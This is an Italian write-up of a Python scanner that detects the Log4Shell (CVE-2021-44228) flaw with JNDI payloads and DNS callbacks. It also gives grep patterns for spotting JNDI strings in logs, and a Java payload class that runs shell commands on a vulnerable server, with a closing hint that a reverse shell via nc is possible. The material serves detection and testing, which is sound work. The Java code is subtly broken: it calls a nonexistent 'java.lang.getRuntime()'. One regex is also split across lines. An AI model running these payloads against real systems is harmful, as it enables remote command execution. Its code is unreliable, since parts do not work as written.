
Scanner multithread in Python che rileva Log4Shell (CVE-2021-44228) inviando richieste HTTP appositamente costruite con payload JNDI e monitorando i callback DNS per identificare gli host vulnerabili.
Questo script è basato su takito1812/log4j-detect
Lo script "log4j-detect.py" sviluppato in Python 3 è responsabile del rilevamento se un elenco di URL è vulnerabile a CVE-2021-44228.
Per fare ciò, invia una richiesta GET utilizzando thread (prestazioni più elevate) a ciascuno degli URL nell'elenco specificato. La richiesta GET contiene un payload che, in caso di successo, restituisce una richiesta DNS a Burp Collaborator / interactsh. Questo payload viene inviato in un parametro di test e nelle intestazioni "User-Agent" / "Referer" / "X-Forwarded-For" / "Authentication". Infine, se un host è vulnerabile, un numero di identificazione apparirà nel prefisso del sottodominio del payload Burp Collaborator / interactsh e nell'output dello script, consentendo di sapere quale host ha risposto tramite DNS.
Va notato che questo script gestisce solo il rilevamento DNS della vulnerabilità e non testa l'esecuzione remota di comandi.
python3 log4j-detect.py -s <burpCollaborator/interactsh...> [-u [urls]] [-f [urlFileList]] [-t THREADS] [-p PROXY] [--urllib3-warnings|--no-urllib3-warnings]

sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi)://[^\n]+' /var/log
sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$\{jndi:(ldap[
s]?|rmi)://[^\n]+'
Per verificare se qualcuno ha tentato di effettuare una connessione tramite un server ldap
Ecco un esempio di codice che puoi lanciare per testare se il tuo server può essere compromesso (Se è una shell Windows puoi semplicemente usare la sintassi di PowerShell)
public class ExportObject implements javax.naming.spi.ObjectFactory {
public ExportObject() {
try {
java.lang.getRuntime().exec("touch ~/pwned");
java.lang.getRuntime().exec("ls ~");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Qualcosa di simile potrebbe permetterti di creare una reverse shell con il comando nc